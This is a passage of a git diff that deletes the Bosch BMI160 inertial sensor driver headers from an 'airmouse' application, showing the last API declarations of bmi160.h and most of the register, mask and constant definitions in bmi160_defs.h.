Structure instance of bmi160_sensor_data - * where the gyro data in FIFO is stored. - * @param[in,out] gyro_length : Number of valid gyro frames - * (x,y,z axes data) read out from fifo. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note gyro_length is updated with the number of valid gyro - * frames extracted from fifo (1 gyro frame = 6 bytes) at the end of - * execution of this API. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_extract_gyro( - struct bmi160_sensor_data* gyro_data, - uint8_t* gyro_length, - struct bmi160_dev const* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_extract_aux bmi160_extract_aux - * \code - * int8_t bmi160_extract_aux(struct bmi160_aux_data *aux_data, uint8_t *aux_len, struct bmi160_dev const *dev); - * \endcode - * @details This API parses and extracts the aux frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the bmi160_aux_data structure instance. - * - * @note The bmi160_extract_aux API should be called only after - * reading the FIFO data by calling the bmi160_get_fifo_data() API. - * - * @param[out] aux_data : Structure instance of bmi160_aux_data - * where the aux data in FIFO is stored. - * @param[in,out] aux_len : Number of valid aux frames (8bytes) - * read out from FIFO. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note aux_len is updated with the number of valid aux - * frames extracted from fifo (1 aux frame = 8 bytes) at the end of - * execution of this API. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_extract_aux( - struct bmi160_aux_data* aux_data, - uint8_t* aux_len, - struct bmi160_dev const* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiFOC FOC - * @brief Start FOC of accel and gyro sensors - */ - -/*! - * \ingroup bmi160ApiFOC - * \page bmi160_api_bmi160_start_foc bmi160_start_foc - * \code - * int8_t bmi160_start_foc(const struct bmi160_foc_conf *foc_conf, - * \endcode - * @details This API starts the FOC of accel and gyro - * - * @note FOC should not be used in low-power mode of sensor - * - * @note Accel FOC targets values of +1g , 0g , -1g - * Gyro FOC always targets value of 0 dps - * - * @param[in] foc_conf : Structure instance of bmi160_foc_conf which - * has the FOC configuration - * @param[in,out] offset : Structure instance to store Offset - * values read from sensor - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note Pre-requisites for triggering FOC in accel , Set the following, - * Enable the acc_off_en - * Ex : foc_conf.acc_off_en = BMI160_ENABLE; - * - * Set the desired target values of FOC to each axes (x,y,z) by using the - * following macros - * - BMI160_FOC_ACCEL_DISABLED - * - BMI160_FOC_ACCEL_POSITIVE_G - * - BMI160_FOC_ACCEL_NEGATIVE_G - * - BMI160_FOC_ACCEL_0G - * - * Ex : foc_conf.foc_acc_x = BMI160_FOC_ACCEL_0G; - * foc_conf.foc_acc_y = BMI160_FOC_ACCEL_0G; - * foc_conf.foc_acc_z = BMI160_FOC_ACCEL_POSITIVE_G; - * - * @note Pre-requisites for triggering FOC in gyro , - * Set the following parameters, - * - * Ex : foc_conf.foc_gyr_en = BMI160_ENABLE; - * foc_conf.gyro_off_en = BMI160_ENABLE; - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - */ -int8_t bmi160_start_foc( - const struct bmi160_foc_conf* foc_conf, - struct bmi160_offsets* offset, - struct bmi160_dev const* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiOffsets Offsets - * @brief Set / Get offset values of accel and gyro sensors - */ - -/*! - * \ingroup bmi160ApiOffsets - * \page bmi160_api_bmi160_get_offsets bmi160_get_offsets - * \code - * int8_t bmi160_get_offsets(struct bmi160_offsets *offset, const struct bmi160_dev *dev); - * \endcode - * @details This API reads and stores the offset values of accel and gyro - * - * @param[in,out] offset : Structure instance of bmi160_offsets in which - * the offset values are read and stored - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - */ -int8_t bmi160_get_offsets(struct bmi160_offsets* offset, const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiOffsets - * \page bmi160_api_bmi160_set_offsets bmi160_set_offsets - * \code - * int8_t bmi160_set_offsets(const struct bmi160_foc_conf *foc_conf, - * const struct bmi160_offsets *offset, - * struct bmi160_dev const *dev); - * \endcode - * @details This API writes the offset values of accel and gyro to - * the sensor but these values will be reset on POR or soft reset. - * - * @param[in] foc_conf : Structure instance of bmi160_foc_conf which - * has the FOC configuration - * @param[in] offset : Structure instance in which user updates offset - * values which are to be written in the sensor - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note Offsets can be set by user like offset->off_acc_x = 10; - * where 1LSB = 3.9mg and for gyro 1LSB = 0.061degrees/second - * - * @note BMI160 offset values for xyz axes of accel should be within range of - * BMI160_ACCEL_MIN_OFFSET (-128) to BMI160_ACCEL_MAX_OFFSET (127) - * - * @note BMI160 offset values for xyz axes of gyro should be within range of - * BMI160_GYRO_MIN_OFFSET (-512) to BMI160_GYRO_MAX_OFFSET (511) - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - */ -int8_t bmi160_set_offsets( - const struct bmi160_foc_conf* foc_conf, - const struct bmi160_offsets* offset, - struct bmi160_dev const* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiNVM NVM - * @brief Write image registers values to NVM - */ - -/*! - * \ingroup bmi160ApiNVM - * \page bmi160_api_bmi160_update_nvm bmi160_update_nvm - * \code - * int8_t bmi160_update_nvm(struct bmi160_dev const *dev); - * \endcode - * @details This API writes the image registers values to NVM which is - * stored even after POR or soft reset - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - */ -int8_t bmi160_update_nvm(struct bmi160_dev const* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiInts Interrupt status - * @brief Read interrupt status from the sensor - */ - -/*! - * \ingroup bmi160ApiInts - * \page bmi160_api_bmi160_get_int_status bmi160_get_int_status - * \code - * int8_t bmi160_get_int_status(enum bmi160_int_status_sel int_status_sel, - * union bmi160_int_status *int_status, - * struct bmi160_dev const *dev); - * \endcode - * @details This API gets the interrupt status from the sensor. - * - * @param[in] int_status_sel : Enum variable to select either individual or all the - * interrupt status bits. - * @param[in] int_status : pointer variable to get the interrupt status - * from the sensor. - * param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - */ -int8_t bmi160_get_int_status( - enum bmi160_int_status_sel int_status_sel, - union bmi160_int_status* int_status, - struct bmi160_dev const* dev); - -/*************************** C++ guard macro *****************************/ -#ifdef __cplusplus -} -#endif - -#endif /* BMI160_H_ */ diff --git a/applications/external/airmouse/tracking/imu/bmi160_defs.h b/applications/external/airmouse/tracking/imu/bmi160_defs.h deleted file mode 100644 index 458ecaad5..000000000 --- a/applications/external/airmouse/tracking/imu/bmi160_defs.h +++ /dev/null @@ -1,1619 +0,0 @@ -/** -* Copyright (c) 2021 Bosch Sensortec GmbH. All rights reserved. -* -* BSD-3-Clause -* -* Redistribution and use in source and binary forms, with or without -* modification, are permitted provided that the following conditions are met: -* -* 1. Redistributions of source code must retain the above copyright -* notice, this list of conditions and the following disclaimer. -* -* 2. Redistributions in binary form must reproduce the above copyright -* notice, this list of conditions and the following disclaimer in the -* documentation and/or other materials provided with the distribution. -* -* 3. Neither the name of the copyright holder nor the names of its -* contributors may be used to endorse or promote products derived from -* this software without specific prior written permission. -* -* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, -* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING -* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -* POSSIBILITY OF SUCH DAMAGE. -* -* @file bmi160_defs.h -* @date 2021-10-05 -* @version v3.9.2 -* -*/ - -#ifndef BMI160_DEFS_H_ -#define BMI160_DEFS_H_ - -/*************************** C types headers *****************************/ -#ifdef __KERNEL__ -#include -#include -#else -#include -#include -#endif - -/*************************** Common macros *****************************/ - -#if !defined(UINT8_C) && !defined(INT8_C) -#define INT8_C(x) S8_C(x) -#define UINT8_C(x) U8_C(x) -#endif - -#if !defined(UINT16_C) && !defined(INT16_C) -#define INT16_C(x) S16_C(x) -#define UINT16_C(x) U16_C(x) -#endif - -#if !defined(INT32_C) && !defined(UINT32_C) -#define INT32_C(x) S32_C(x) -#define UINT32_C(x) U32_C(x) -#endif - -#if !defined(INT64_C) && !defined(UINT64_C) -#define INT64_C(x) S64_C(x) -#define UINT64_C(x) U64_C(x) -#endif - -/**@}*/ -/**\name C standard macros */ -#ifndef NULL -#ifdef __cplusplus -#define NULL 0 -#else -#define NULL ((void*)0) -#endif -#endif - -/*************************** Sensor macros *****************************/ -/* Test for an endian machine */ -#ifndef __ORDER_LITTLE_ENDIAN__ -#define __ORDER_LITTLE_ENDIAN__ 0 -#endif - -#ifndef __BYTE_ORDER__ -#define __BYTE_ORDER__ __ORDER_LITTLE_ENDIAN__ -#endif - -#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ -#ifndef LITTLE_ENDIAN -#define LITTLE_ENDIAN 1 -#endif -#elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ -#ifndef BIG_ENDIAN -#define BIG_ENDIAN 1 -#endif -#else -#error "Code does not support Endian format of the processor" -#endif - -/** Mask definitions */ -#define BMI160_ACCEL_BW_MASK UINT8_C(0x70) -#define BMI160_ACCEL_ODR_MASK UINT8_C(0x0F) -#define BMI160_ACCEL_UNDERSAMPLING_MASK UINT8_C(0x80) -#define BMI160_ACCEL_RANGE_MASK UINT8_C(0x0F) -#define BMI160_GYRO_BW_MASK UINT8_C(0x30) -#define BMI160_GYRO_ODR_MASK UINT8_C(0x0F) -#define BMI160_GYRO_RANGE_MASK UINT8_C(0x07) - -#define BMI160_ACCEL_BW_POS UINT8_C(4) -#define BMI160_GYRO_BW_POS UINT8_C(4) - -/** Mask definitions for INT_EN registers */ -#define BMI160_ANY_MOTION_X_INT_EN_MASK UINT8_C(0x01) -#define BMI160_HIGH_G_X_INT_EN_MASK UINT8_C(0x01) -#define BMI160_NO_MOTION_X_INT_EN_MASK UINT8_C(0x01) -#define BMI160_ANY_MOTION_Y_INT_EN_MASK UINT8_C(0x02) -#define BMI160_HIGH_G_Y_INT_EN_MASK UINT8_C(0x02) -#define BMI160_NO_MOTION_Y_INT_EN_MASK UINT8_C(0x02) -#define BMI160_ANY_MOTION_Z_INT_EN_MASK UINT8_C(0x04) -#define BMI160_HIGH_G_Z_INT_EN_MASK UINT8_C(0x04) -#define BMI160_NO_MOTION_Z_INT_EN_MASK UINT8_C(0x04) -#define BMI160_SIG_MOTION_INT_EN_MASK UINT8_C(0x07) -#define BMI160_ANY_MOTION_ALL_INT_EN_MASK UINT8_C(0x07) -#define BMI160_STEP_DETECT_INT_EN_MASK UINT8_C(0x08) -#define BMI160_DOUBLE_TAP_INT_EN_MASK UINT8_C(0x10) -#define BMI160_SINGLE_TAP_INT_EN_MASK UINT8_C(0x20) -#define BMI160_FIFO_FULL_INT_EN_MASK UINT8_C(0x20) -#define BMI160_ORIENT_INT_EN_MASK UINT8_C(0x40) -#define BMI160_FIFO_WATERMARK_INT_EN_MASK UINT8_C(0x40) -#define BMI160_LOW_G_INT_EN_MASK UINT8_C(0x08) -#define BMI160_STEP_DETECT_EN_MASK UINT8_C(0x08) -#define BMI160_FLAT_INT_EN_MASK UINT8_C(0x80) -#define BMI160_DATA_RDY_INT_EN_MASK UINT8_C(0x10) - -/** PMU status Macros */ -#define BMI160_AUX_PMU_SUSPEND UINT8_C(0x00) -#define BMI160_AUX_PMU_NORMAL UINT8_C(0x01) -#define BMI160_AUX_PMU_LOW_POWER UINT8_C(0x02) - -#define BMI160_GYRO_PMU_SUSPEND UINT8_C(0x00) -#define BMI160_GYRO_PMU_NORMAL UINT8_C(0x01) -#define BMI160_GYRO_PMU_FSU UINT8_C(0x03) - -#define BMI160_ACCEL_PMU_SUSPEND UINT8_C(0x00) -#define BMI160_ACCEL_PMU_NORMAL UINT8_C(0x01) -#define BMI160_ACCEL_PMU_LOW_POWER UINT8_C(0x02) - -/** Mask definitions for INT_OUT_CTRL register */ -#define BMI160_INT1_EDGE_CTRL_MASK UINT8_C(0x01) -#define BMI160_INT1_OUTPUT_MODE_MASK UINT8_C(0x04) -#define BMI160_INT1_OUTPUT_TYPE_MASK UINT8_C(0x02) -#define BMI160_INT1_OUTPUT_EN_MASK UINT8_C(0x08) -#define BMI160_INT2_EDGE_CTRL_MASK UINT8_C(0x10) -#define BMI160_INT2_OUTPUT_MODE_MASK UINT8_C(0x40) -#define BMI160_INT2_OUTPUT_TYPE_MASK UINT8_C(0x20) -#define BMI160_INT2_OUTPUT_EN_MASK UINT8_C(0x80) - -/** Mask definitions for INT_LATCH register */ -#define BMI160_INT1_INPUT_EN_MASK UINT8_C(0x10) -#define BMI160_INT2_INPUT_EN_MASK UINT8_C(0x20) -#define BMI160_INT_LATCH_MASK UINT8_C(0x0F) - -/** Mask definitions for INT_MAP register */ -#define BMI160_INT1_LOW_G_MASK UINT8_C(0x01) -#define BMI160_INT1_HIGH_G_MASK UINT8_C(0x02) -#define BMI160_INT1_SLOPE_MASK UINT8_C(0x04) -#define BMI160_INT1_NO_MOTION_MASK UINT8_C(0x08) -#define BMI160_INT1_DOUBLE_TAP_MASK UINT8_C(0x10) -#define BMI160_INT1_SINGLE_TAP_MASK UINT8_C(0x20) -#define BMI160_INT1_FIFO_FULL_MASK UINT8_C(0x20) -#define BMI160_INT1_FIFO_WM_MASK UINT8_C(0x40) -#define BMI160_INT1_ORIENT_MASK UINT8_C(0x40) -#define BMI160_INT1_FLAT_MASK UINT8_C(0x80) -#define BMI160_INT1_DATA_READY_MASK UINT8_C(0x80) -#define BMI160_INT2_LOW_G_MASK UINT8_C(0x01) -#define BMI160_INT1_LOW_STEP_DETECT_MASK UINT8_C(0x01) -#define BMI160_INT2_LOW_STEP_DETECT_MASK UINT8_C(0x01) -#define BMI160_INT2_HIGH_G_MASK UINT8_C(0x02) -#define BMI160_INT2_FIFO_FULL_MASK UINT8_C(0x02) -#define BMI160_INT2_FIFO_WM_MASK UINT8_C(0x04) -#define BMI160_INT2_SLOPE_MASK UINT8_C(0x04) -#define BMI160_INT2_DATA_READY_MASK UINT8_C(0x08) -#define BMI160_INT2_NO_MOTION_MASK UINT8_C(0x08) -#define BMI160_INT2_DOUBLE_TAP_MASK UINT8_C(0x10) -#define BMI160_INT2_SINGLE_TAP_MASK UINT8_C(0x20) -#define BMI160_INT2_ORIENT_MASK UINT8_C(0x40) -#define BMI160_INT2_FLAT_MASK UINT8_C(0x80) - -/** Mask definitions for INT_DATA register */ -#define BMI160_TAP_SRC_INT_MASK UINT8_C(0x08) -#define BMI160_LOW_HIGH_SRC_INT_MASK UINT8_C(0x80) -#define BMI160_MOTION_SRC_INT_MASK UINT8_C(0x80) - -/** Mask definitions for INT_MOTION register */ -#define BMI160_SLOPE_INT_DUR_MASK UINT8_C(0x03) -#define BMI160_NO_MOTION_INT_DUR_MASK UINT8_C(0xFC) -#define BMI160_NO_MOTION_SEL_BIT_MASK UINT8_C(0x01) - -/** Mask definitions for INT_TAP register */ -#define BMI160_TAP_DUR_MASK UINT8_C(0x07) -#define BMI160_TAP_SHOCK_DUR_MASK UINT8_C(0x40) -#define BMI160_TAP_QUIET_DUR_MASK UINT8_C(0x80) -#define BMI160_TAP_THRES_MASK UINT8_C(0x1F) - -/** Mask definitions for INT_FLAT register */ -#define BMI160_FLAT_THRES_MASK UINT8_C(0x3F) -#define BMI160_FLAT_HOLD_TIME_MASK UINT8_C(0x30) -#define BMI160_FLAT_HYST_MASK UINT8_C(0x07) - -/** Mask definitions for INT_LOWHIGH register */ -#define BMI160_LOW_G_HYST_MASK UINT8_C(0x03) -#define BMI160_LOW_G_LOW_MODE_MASK UINT8_C(0x04) -#define BMI160_HIGH_G_HYST_MASK UINT8_C(0xC0) - -/** Mask definitions for INT_SIG_MOTION register */ -#define BMI160_SIG_MOTION_SEL_MASK UINT8_C(0x02) -#define BMI160_SIG_MOTION_SKIP_MASK UINT8_C(0x0C) -#define BMI160_SIG_MOTION_PROOF_MASK UINT8_C(0x30) - -/** Mask definitions for INT_ORIENT register */ -#define BMI160_ORIENT_MODE_MASK UINT8_C(0x03) -#define BMI160_ORIENT_BLOCK_MASK UINT8_C(0x0C) -#define BMI160_ORIENT_HYST_MASK UINT8_C(0xF0) -#define BMI160_ORIENT_THETA_MASK UINT8_C(0x3F) -#define BMI160_ORIENT_UD_ENABLE UINT8_C(0x40) -#define BMI160_AXES_EN_MASK UINT8_C(0x80) - -/** Mask definitions for FIFO_CONFIG register */ -#define BMI160_FIFO_GYRO UINT8_C(0x80) -#define BMI160_FIFO_ACCEL UINT8_C(0x40) -#define BMI160_FIFO_AUX UINT8_C(0x20) -#define BMI160_FIFO_TAG_INT1 UINT8_C(0x08) -#define BMI160_FIFO_TAG_INT2 UINT8_C(0x04) -#define BMI160_FIFO_TIME UINT8_C(0x02) -#define BMI160_FIFO_HEADER UINT8_C(0x10) -#define BMI160_FIFO_CONFIG_1_MASK UINT8_C(0xFE) - -/** Mask definitions for STEP_CONF register */ -#define BMI160_STEP_COUNT_EN_BIT_MASK UINT8_C(0x08) -#define BMI160_STEP_DETECT_MIN_THRES_MASK UINT8_C(0x18) -#define BMI160_STEP_DETECT_STEPTIME_MIN_MASK UINT8_C(0x07) -#define BMI160_STEP_MIN_BUF_MASK UINT8_C(0x07) - -/** Mask definition for FIFO Header Data Tag */ -#define BMI160_FIFO_TAG_INTR_MASK UINT8_C(0xFC) - -/** Fifo byte counter mask definitions */ -#define BMI160_FIFO_BYTE_COUNTER_MASK UINT8_C(0x07) - -/** Enable/disable bit value */ -#define BMI160_ENABLE UINT8_C(0x01) -#define BMI160_DISABLE UINT8_C(0x00) - -/** Latch Duration */ -#define BMI160_LATCH_DUR_NONE UINT8_C(0x00) -#define BMI160_LATCH_DUR_312_5_MICRO_SEC UINT8_C(0x01) -#define BMI160_LATCH_DUR_625_MICRO_SEC UINT8_C(0x02) -#define BMI160_LATCH_DUR_1_25_MILLI_SEC UINT8_C(0x03) -#define BMI160_LATCH_DUR_2_5_MILLI_SEC UINT8_C(0x04) -#define BMI160_LATCH_DUR_5_MILLI_SEC UINT8_C(0x05) -#define BMI160_LATCH_DUR_10_MILLI_SEC UINT8_C(0x06) -#define BMI160_LATCH_DUR_20_MILLI_SEC UINT8_C(0x07) -#define BMI160_LATCH_DUR_40_MILLI_SEC UINT8_C(0x08) -#define BMI160_LATCH_DUR_80_MILLI_SEC UINT8_C(0x09) -#define BMI160_LATCH_DUR_160_MILLI_SEC UINT8_C(0x0A) -#define BMI160_LATCH_DUR_320_MILLI_SEC UINT8_C(0x0B) -#define BMI160_LATCH_DUR_640_MILLI_SEC UINT8_C(0x0C) -#define BMI160_LATCH_DUR_1_28_SEC UINT8_C(0x0D) -#define BMI160_LATCH_DUR_2_56_SEC UINT8_C(0x0E) -#define BMI160_LATCHED UINT8_C(0x0F) - -/** BMI160 Register map */ -#define BMI160_CHIP_ID_ADDR UINT8_C(0x00) -#define BMI160_ERROR_REG_ADDR UINT8_C(0x02) -#define BMI160_PMU_STATUS_ADDR UINT8_C(0x03) -#define BMI160_AUX_DATA_ADDR UINT8_C(0x04) -#define BMI160_GYRO_DATA_ADDR UINT8_C(0x0C) -#define BMI160_ACCEL_DATA_ADDR UINT8_C(0x12) -#define BMI160_STATUS_ADDR UINT8_C(0x1B) -#define BMI160_INT_STATUS_ADDR UINT8_C(0x1C) -#define BMI160_FIFO_LENGTH_ADDR UINT8_C(0x22) -#define BMI160_FIFO_DATA_ADDR UINT8_C(0x24) -#define BMI160_ACCEL_CONFIG_ADDR UINT8_C(0x40) -#define BMI160_ACCEL_RANGE_ADDR UINT8_C(0x41) -#define BMI160_GYRO_CONFIG_ADDR UINT8_C(0x42) -#define BMI160_GYRO_RANGE_ADDR UINT8_C(0x43) -#define BMI160_AUX_ODR_ADDR UINT8_C(0x44) -#define BMI160_FIFO_DOWN_ADDR UINT8_C(0x45) -#define BMI160_FIFO_CONFIG_0_ADDR UINT8_C(0x46) -#define BMI160_FIFO_CONFIG_1_ADDR UINT8_C(0x47) -#define BMI160_AUX_IF_0_ADDR UINT8_C(0x4B) -#define BMI160_AUX_IF_1_ADDR UINT8_C(0x4C) -#define BMI160_AUX_IF_2_ADDR UINT8_C(0x4D) -#define BMI160_AUX_IF_3_ADDR UINT8_C(0x4E) -#define BMI160_AUX_IF_4_ADDR UINT8_C(0x4F) -#define BMI160_INT_ENABLE_0_ADDR UINT8_C(0x50) -#define BMI160_INT_ENABLE_1_ADDR UINT8_C(0x51) -#define BMI160_INT_ENABLE_2_ADDR UINT8_C(0x52) -#define BMI160_INT_OUT_CTRL_ADDR UINT8_C(0x53) -#define BMI160_INT_LATCH_ADDR UINT8_C(0x54) -#define BMI160_INT_MAP_0_ADDR UINT8_C(0x55) -#define BMI160_INT_MAP_1_ADDR UINT8_C(0x56) -#define BMI160_INT_MAP_2_ADDR UINT8_C(0x57) -#define BMI160_INT_DATA_0_ADDR UINT8_C(0x58) -#define BMI160_INT_DATA_1_ADDR UINT8_C(0x59) -#define BMI160_INT_LOWHIGH_0_ADDR UINT8_C(0x5A) -#define BMI160_INT_LOWHIGH_1_ADDR UINT8_C(0x5B) -#define BMI160_INT_LOWHIGH_2_ADDR UINT8_C(0x5C) -#define BMI160_INT_LOWHIGH_3_ADDR UINT8_C(0x5D) -#define BMI160_INT_LOWHIGH_4_ADDR UINT8_C(0x5E) -#define BMI160_INT_MOTION_0_ADDR UINT8_C(0x5F) -#define BMI160_INT_MOTION_1_ADDR UINT8_C(0x60) -#define BMI160_INT_MOTION_2_ADDR UINT8_C(0x61) -#define BMI160_INT_MOTION_3_ADDR UINT8_C(0x62) -#define BMI160_INT_TAP_0_ADDR UINT8_C(0x63) -#define BMI160_INT_TAP_1_ADDR UINT8_C(0x64) -#define BMI160_INT_ORIENT_0_ADDR UINT8_C(0x65) -#define BMI160_INT_ORIENT_1_ADDR UINT8_C(0x66) -#define BMI160_INT_FLAT_0_ADDR UINT8_C(0x67) -#define BMI160_INT_FLAT_1_ADDR UINT8_C(0x68) -#define BMI160_FOC_CONF_ADDR UINT8_C(0x69) -#define BMI160_CONF_ADDR UINT8_C(0x6A) - -#define BMI160_IF_CONF_ADDR UINT8_C(0x6B) -#define BMI160_SELF_TEST_ADDR UINT8_C(0x6D) -#define BMI160_OFFSET_ADDR UINT8_C(0x71) -#define BMI160_OFFSET_CONF_ADDR UINT8_C(0x77) -#define BMI160_INT_STEP_CNT_0_ADDR UINT8_C(0x78) -#define BMI160_INT_STEP_CONFIG_0_ADDR UINT8_C(0x7A) -#define BMI160_INT_STEP_CONFIG_1_ADDR UINT8_C(0x7B) -#define BMI160_COMMAND_REG_ADDR UINT8_C(0x7E) -#define BMI160_SPI_COMM_TEST_ADDR UINT8_C(0x7F) -#define BMI160_INTL_PULLUP_CONF_ADDR UINT8_C(0x85) - -/** Error code definitions */ -#define BMI160_OK INT8_C(0) -#define BMI160_E_NULL_PTR INT8_C(-1) -#define BMI160_E_COM_FAIL INT8_C(-2) -#define BMI160_E_DEV_NOT_FOUND INT8_C(-3) -#define BMI160_E_OUT_OF_RANGE INT8_C(-4) -#define BMI160_E_INVALID_INPUT INT8_C(-5) -#define BMI160_E_ACCEL_ODR_BW_INVALID INT8_C(-6) -#define BMI160_E_GYRO_ODR_BW_INVALID INT8_C(-7) -#define BMI160_E_LWP_PRE_FLTR_INT_INVALID INT8_C(-8) -#define BMI160_E_LWP_PRE_FLTR_INVALID INT8_C(-9) -#define BMI160_E_AUX_NOT_FOUND INT8_C(-10) -#define BMI160_E_FOC_FAILURE INT8_C(-11) -#define BMI160_E_READ_WRITE_LENGTH_INVALID INT8_C(-12) -#define BMI160_E_INVALID_CONFIG INT8_C(-13) - -/**\name API warning codes */ -#define BMI160_W_GYRO_SELF_TEST_FAIL INT8_C(1) -#define BMI160_W_ACCEl_SELF_TEST_FAIL INT8_C(2) - -/** BMI160 unique chip identifier */ -#define BMI160_CHIP_ID UINT8_C(0xD1) - -/** Soft reset command */ -#define BMI160_SOFT_RESET_CMD UINT8_C(0xb6) -#define BMI160_SOFT_RESET_DELAY_MS UINT8_C(1) - -/** Start FOC command */ -#define BMI160_START_FOC_CMD UINT8_C(0x03) - -/** NVM backup enabling command */ -#define BMI160_NVM_BACKUP_EN UINT8_C(0xA0) - -/* Delay in ms settings */ -#define BMI160_ACCEL_DELAY_MS UINT8_C(5) -#define BMI160_GYRO_DELAY_MS UINT8_C(80) -#define BMI160_ONE_MS_DELAY UINT8_C(1) -#define BMI160_AUX_COM_DELAY UINT8_C(10) -#define BMI160_GYRO_SELF_TEST_DELAY UINT8_C(20) -#define BMI160_ACCEL_SELF_TEST_DELAY UINT8_C(50) - -/** Self test configurations */ -#define BMI160_ACCEL_SELF_TEST_CONFIG UINT8_C(0x2C) -#define BMI160_ACCEL_SELF_TEST_POSITIVE_EN UINT8_C(0x0D) -#define BMI160_ACCEL_SELF_TEST_NEGATIVE_EN UINT8_C(0x09) -#define BMI160_ACCEL_SELF_TEST_LIMIT UINT16_C(8192) - -/** Power mode settings */ -/* Accel power mode */ -#define BMI160_ACCEL_NORMAL_MODE UINT8_C(0x11) -#define BMI160_ACCEL_LOWPOWER_MODE UINT8_C(0x12) -#define BMI160_ACCEL_SUSPEND_MODE UINT8_C(0x10) - -/* Gyro power mode */ -#define BMI160_GYRO_SUSPEND_MODE UINT8_C(0x14) -#define BMI160_GYRO_NORMAL_MODE UINT8_C(0x15) -#define BMI160_GYRO_FASTSTARTUP_MODE UINT8_C(0x17) - -/* Aux power mode */ -#define BMI160_AUX_SUSPEND_MODE UINT8_C(0x18) -#define BMI160_AUX_NORMAL_MODE UINT8_C(0x19) -#define BMI160_AUX_LOWPOWER_MODE UINT8_C(0x1A) - -/** Range settings */ -/* Accel Range */ -#define BMI160_ACCEL_RANGE_2G UINT8_C(0x03) -#define BMI160_ACCEL_RANGE_4G UINT8_C(0x05) -#define BMI160_ACCEL_RANGE_8G UINT8_C(0x08) -#define BMI160_ACCEL_RANGE_16G UINT8_C(0x0C) - -/* Gyro Range */ -#define BMI160_GYRO_RANGE_2000_DPS UINT8_C(0x00) -#define BMI160_GYRO_RANGE_1000_DPS UINT8_C(0x01) -#define BMI160_GYRO_RANGE_500_DPS UINT8_C(0x02) -#define BMI160_GYRO_RANGE_250_DPS UINT8_C(0x03) -#define BMI160_GYRO_RANGE_125_DPS UINT8_C(0x04) - -/** Bandwidth settings */ -/* Accel Bandwidth */ -#define BMI160_ACCEL_BW_OSR4_AVG1 UINT8_C(0x00) -#define BMI160_ACCEL_BW_OSR2_AVG2 UINT8_C(0x01) -#define BMI160_ACCEL_BW_NORMAL_AVG4 UINT8_C(0x02) -#define BMI160_ACCEL_BW_RES_AVG8 UINT8_C(0x03) -#define BMI160_ACCEL_BW_RES_AVG16 UINT8_C(0x04) -#define BMI160_ACCEL_BW_RES_AVG32 UINT8_C(0x05) -#define BMI160_ACCEL_BW_RES_AVG64 UINT8_C(0x06) -#define BMI160_ACCEL_BW_RES_AVG128 UINT8_C(0x07) - -#define BMI160_GYRO_BW_OSR4_MODE UINT8_C(0x00) -#define BMI160_GYRO_BW_OSR2_MODE UINT8_C(0x01) -#define BMI160_GYRO_BW_NORMAL_MODE UINT8_C(0x02) - -/* Output Data Rate settings */ -/* Accel Output data rate */ -#define BMI160_ACCEL_ODR_RESERVED UINT8_C(0x00) -#define BMI160_ACCEL_ODR_0_78HZ UINT8_C(0x01) -#define BMI160_ACCEL_ODR_1_56HZ UINT8_C(0x02) -#define BMI160_ACCEL_ODR_3_12HZ UINT8_C(0x03) -#define BMI160_ACCEL_ODR_6_25HZ UINT8_C(0x04) -#define BMI160_ACCEL_ODR_12_5HZ UINT8_C(0x05) -#define BMI160_ACCEL_ODR_25HZ UINT8_C(0x06) -#define BMI160_ACCEL_ODR_50HZ UINT8_C(0x07) -#define BMI160_ACCEL_ODR_100HZ UINT8_C(0x08) -#define BMI160_ACCEL_ODR_200HZ UINT8_C(0x09) -#define BMI160_ACCEL_ODR_400HZ UINT8_C(0x0A) -#define BMI160_ACCEL_ODR_800HZ UINT8_C(0x0B) -#define BMI160_ACCEL_ODR_1600HZ UINT8_C(0x0C) -#define BMI160_ACCEL_ODR_RESERVED0 UINT8_C(0x0D) -#define BMI160_ACCEL_ODR_RESERVED1 UINT8_C(0x0E) -#define BMI160_ACCEL_ODR_RESERVED2 UINT8_C(0x0F) - -/* Gyro Output data rate */ -#define BMI160_GYRO_ODR_RESERVED UINT8_C(0x00) -#define BMI160_GYRO_ODR_25HZ UINT8_C(0x06) -#define BMI160_GYRO_ODR_50HZ UINT8_C(0x07) -#define BMI160_GYRO_ODR_100HZ 